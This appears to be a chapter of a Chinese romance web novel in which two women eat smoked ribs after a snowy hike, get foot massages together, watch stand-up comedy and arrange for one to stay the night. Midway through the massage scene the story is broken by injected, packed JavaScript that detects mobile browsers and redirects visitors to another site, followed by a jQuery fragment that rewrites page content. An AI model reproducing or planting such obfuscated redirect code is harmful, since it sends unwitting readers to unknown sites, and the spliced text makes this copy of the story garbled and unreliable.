在返回游客中心的途中,路过一家类似驿站的亭子,门口台阶上放了好几口锅,正热气腾腾地冒着烟,售卖的产品有煮玉米、烤肠、烤土豆、烤红薯,以及蒸好的香肠腊肉,香气扑鼻。当然,最香的当属寒风中店铺老板帮忙泡好的泡面,门口摆了许多张桌子,有三三两两的游客正坐着认真嗦面。
这会儿已经接近两点,即使带了零食,但谁能拒绝在这皑皑白雪的山林间吃上一口热食呢?想必大家都饿了,于是廖羽曦招呼着团队小伙伴如果想吃可以买一点,但别买多了,因为这个一日游的徒步团是含团餐的,就在游客中心附近。
找了个位置坐下后,韩琬清从包里拿出蛋白棒和牛腱子肉分给沈知非。一看是蛋白棒,沈知非就觉得应该好吃不到哪里去,除了饱腹感强,她都get不到蛋白棒的优点,果断选择了卤牛肉,她撕开包装袋后,发现里面还有个抽了真空的铝质塑封袋,用力撕开后,轻轻咬了一口牛肉,淡淡的卤香,但总感觉加了防腐剂,味道远远比不上刚出锅新鲜卤制的牛腱子。只有健身的人才受得了这种清汤寡味吧!与此同时,旁边蒸煮的腊排骨传来阵阵香味,沈知非咽了咽口水,她好馋!于是,对韩琬清给的蛋白棒和牛肉更没什么兴趣了。
经过一番挣扎后,沈知非起身去买了两条腊排骨、一碗烤土豆和一大份烤红薯,又买了两瓶电解质水,她依稀记得小时候学乒乓球时,教练告诉她剧烈运动后需要补充电解质水。她找老板要了几个一次性手套和两个一次性勺子后,坐回座位。
“学姐,试试这个腊排骨吧,我闻着好香,你刚才剧烈运动了,喝点电解质水。”沈知非说完就低头去书包里找湿纸巾。当她找到后刚抬起头准备递给对面的人,却发现韩琬清也向她递来了免洗洗手液,两人相视一笑,认真地给手消着毒。
简单擦了擦手,沈知非立刻戴上了一次性手套,拿起腊排骨轻咬一口,她可太饿了!要不是韩琬清坐她对面,她恨不得咬一大口。
这是用柏树枝熏过的农家腊排,不似新鲜猪肉的肥腻,风干后的腊排骨咸淡正好,醇厚的油脂香混着浓郁的烟熏香,极为鲜美,这种鲜从舌尖漫到喉咙,暖意在空旷的雪景里漫开。指尖在寒风中早已被冻得冰冷,隔着一次性手套握住热气腾腾的腊排骨,整个身子变得暖融融,浑身的寒气正被这股暖意一点点驱散开。
对比沈知非直接上嘴咬,韩琬清就显得优雅许多,她慢慢沿着腊排的纹路撕着上面的瘦肉,再轻轻往嘴里送。
冰冷的空气中夹着让人沉溺的烟火香味,在被寒气包裹的冰天雪地里,吃上这么一口热乎乎的腊排,极致的冷与极致的暖相碰撞,味觉和体感都被放大了数倍,再加上对面坐着喜欢的人,正像个优雅的品鉴师在小口品尝着。一幅白雪皑皑又香气逼人的山野景致图,在沈知非心间慢慢铺开。
这种被烤过的高山小土豆,蘸一点辣椒粉,也异常好吃,两人随后又用勺子舀了几勺烤红薯,带着炭火的香味,微微发焦的软糯香甜绕在齿尖,将外界的清寒隔绝在外。
走回游客中心时,已是下午四点,司机师傅把大家载到不远处的饭店用餐,旅行团团餐,不用想就知道不好吃,很普通的家常菜,简单吃过一顿后,所有人上车补觉,司机师傅载着累了一天的人们开始返程。
睡了一觉的沈知非在车厢嘈杂声中醒来,原来大巴马上下高速了,刚过收费站,正向城区驶去,应该快到了。她伸了伸懒腰,拿出手机点开大众点评,定位到一会儿下车的地方,搜索附近的按摩店,团了两张90分钟的足疗+全身推拿的券。
“学姐,你明天上午要去学校吗?”
“苏院还没回,暂时不开组会,我应该会待在家里。”
原来明天可以摸鱼,难怪韩琬清今天敢如此高强度运动。
“待会儿你可不可以陪我去按摩,我好累呀,真担心乳酸堆积明天浑身疼!我刚好还有两张券没用。”其实沈知非是刚买的券,她就是想让韩琬清放松一下,按摩有助于排乳酸,但她害怕如果说陪韩琬清去按摩,万一被拒绝,所以干脆换了个说法,反正这个券不用随时可退。
“可以是可以,但按完应该很晚了,你明天上午没课?”韩琬清有些犹豫,不过她确实蛮想去按摩放松一下的。
“我明天上午十点才有课。”
“那我来买吧,你的券留着以后再用。”
“我这个再不用就过期了,你的留着下次再用呗。”沈知非特意找了个说辞,如果可以,她倒是很乐意下次韩琬清能再约她一起按摩。
“那好。”
沈知非在心底乐开了花,这怎么能不叫人高兴呢!
韩琬清在下车时邀请廖羽曦一起,不过作为苦命打工人,廖羽曦明天一早就得去律所当牛马,她那个mean的直系领导,每次补卡申请或者迟到打卡都会哔哔她半天。再说,周一的地铁早高峰可是场恶战,今天累了一天,她需要早些躺在床上养精蓄锐,果断拒绝了。
沈知非想单独跟韩琬清相处,自然不会邀请吴檬一起,不过她得意地在微信上跟檬檬小小炫耀了一下两人要一块去按摩的事儿,省得吴檬老说她是缩头乌龟不敢主动出击。
到了常乐,两人被一位西装革履的男士领去了一间双人按摩房,他将房间的投影仪和空调打开,拿着平板认真给她们介绍着每个技师的特长。
“我主要是运动后乳酸堆积,想排酸,有没有擅长排酸的女性技师推荐呀。”沈知非率先开了口。
“我帮您查一下。有擅长运动按摩的技师,但现在只有一位女性技师空闲,其他的正在给别的客人按。请问男技师可以吗?”男生认真询问。
“没事儿,那就只安排一位擅长排酸按摩的女技师,另一位随便擅长什么,女生就行。”
“好的,稍等,这就为您安排。你们先坐着休息一会儿,这有消过毒的一次性睡衣,你们可以先换上。”说完,他退出了房间。
过了一会儿,有服务员送来了水果零食和两杯热茶,技师也陆续到岗。
“二位晚上好,我是77号技师,请问你们哪位需要排酸按摩?”
“给她按吧。”韩琬清开口。
“我不用,我没有乳酸堆积,是她需要按。”沈知非赶紧推辞。
“你不是说你累得很?担心明天浑身疼?”
“我的强度没你大,我只是可能会疼,你是一定会疼,你按,就这么说定了。”这时的沈知非有些强势,语气不容拒绝。
“那好,谢谢。”韩琬清若有所思地看了一眼沈知非。
这时另一位女技师进了房间,帮沈知非调整了床的坡度,“请问你们需要什么泡脚包?有玫瑰牛奶、薰衣草、艾草、生姜花椒四种。”
“我要艾草的。”
“我要玫瑰牛奶。”韩琬清答。
“我现在放水,你们可以先去浴室里把衣服换了。”技师指了指房间里的卫浴间,建议道。
“我不想换,我们这个反正没有精油项目,换不换都没什么影响吧。”沈知非直接拒绝,她每次去按摩都不喜欢换衣服,除非要做spa,虽然说是消过毒,但谁知道呢。
“那你们的裤子能捋起来吗?捋到膝盖处就可以了。如果比较紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255804|197999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捋不起来,只换裤子也行。”
“我可以的,裤子比较宽松。”韩琬清边说边把裤腿挽了起来。
“水温怎么样?”66号技师问沈知非。
“有点烫。”沈知非试了试,把刚放下去的脚立马抬了起来。
“那我加点冷水帮您再调节一下水温。”
“好的,谢谢。”
沈知非从按摩床右侧的小桌上拿起投影仪的遥控器。
“学姐,你这会儿还困吗?要睡觉还是?”
“我在车上睡了,这会儿不困,你想看电视就看。”
“那我们是看综艺还是找部电影看呢?”沈知非询问。
“综艺吧,放松放松。”
“《现在就出发》、《花儿与少年》、《脱口秀与它的朋友们》,你想看哪个?”沈知非给了韩琬清三个选项。
“看脱口秀吧。”
“嘿嘿,我也喜欢脱口秀,你有没有喜欢的选手?”
“我喜欢鸟鸟,只不过她现在当编剧去了,很少再出来讲段子。”韩琬清说这话的时候似乎有些惋惜。
“我也很喜欢鸟鸟,她有种语不惊人死不休的感觉,表面看着又‘怂’又丧,但是语言充满力量,透着一种无畏,而且她知识面好广。”沈知非评价着鸟鸟。
“是啊,她总是透着一种淡淡的疯感,自信勇敢、随意洒脱。”
“我还喜欢步惊云和赵晓卉,不过赵晓卉今年没参加,很遗憾。”
“赵晓卉也挺有意思的,每次淘汰感言都能封神。”韩琬清笑着回答。
沈知非按着遥控器,点开最新更新一期的脱口秀,一边听着段子,一边泡着脚享受66号技师带给她的舒适肩颈按摩。
在技师给躺下的沈知非按小腿时,投影仪放到张骏的段子,她们俩都已经躺下,床被放平,看不见屏幕,但能清楚地听清张骏雄浑有力的声音——“我一直以为居里夫人的名字就是居里,后来我才知道居里夫人遭受了两种辐射,居里夫人遭受了镭辐射,而玛利亚女士在遭受了父权辐射的影响下变成了居里夫人。”
“太牛了张骏!”沈知非感叹!
“确实,他的文本很强,看得出来是经过深度思考的,很形象也能发人深省,就是不知道为什么票这么少。”
“估计是戳到台下某些拥有投票权的人的痛处了吧。”沈知非也有些替张骏不值。
这时,沈知非的手机响了,是室友高苒,“知非!现在十点半啦,11点就要门禁,你今晚还回来吗?我们锁不锁宿舍门呀?”
“要回,晚点回,你们先关灯睡吧,宿舍门别锁就行。我待会儿去给宿管阿姨说说好话,让她放我进去。”
“那行,你注意安全啊。”
“你室友?”沈知非挂了电话后,韩琬清问。
“对,问我回不回去,要不要给我留宿舍门。”
“宿管阿姨说好话就能放你进去?”
“不知道,只能试试。”
“她可以放你进去,但你一定会被记过,第二天就告诉你们辅导员。”
“那怎么办,难道我要露宿街头了嘛~”沈知非故意用撒娇的语气卖惨,“学姐,今晚我可以去你家吗,能不能收留我一晚,我不想被记过。”
“可以。”韩琬清短暂地思考后,同意了。
“谢谢学姐!明天你在家好好休息,中午下课我给你带吃的。”沈知非的语气有些谄媚,还有些包裹不住的开心。
快乐的时光总是短暂,很快,舒服的90分钟过去了,现在两人各自背着书包,打车回韩琬清家。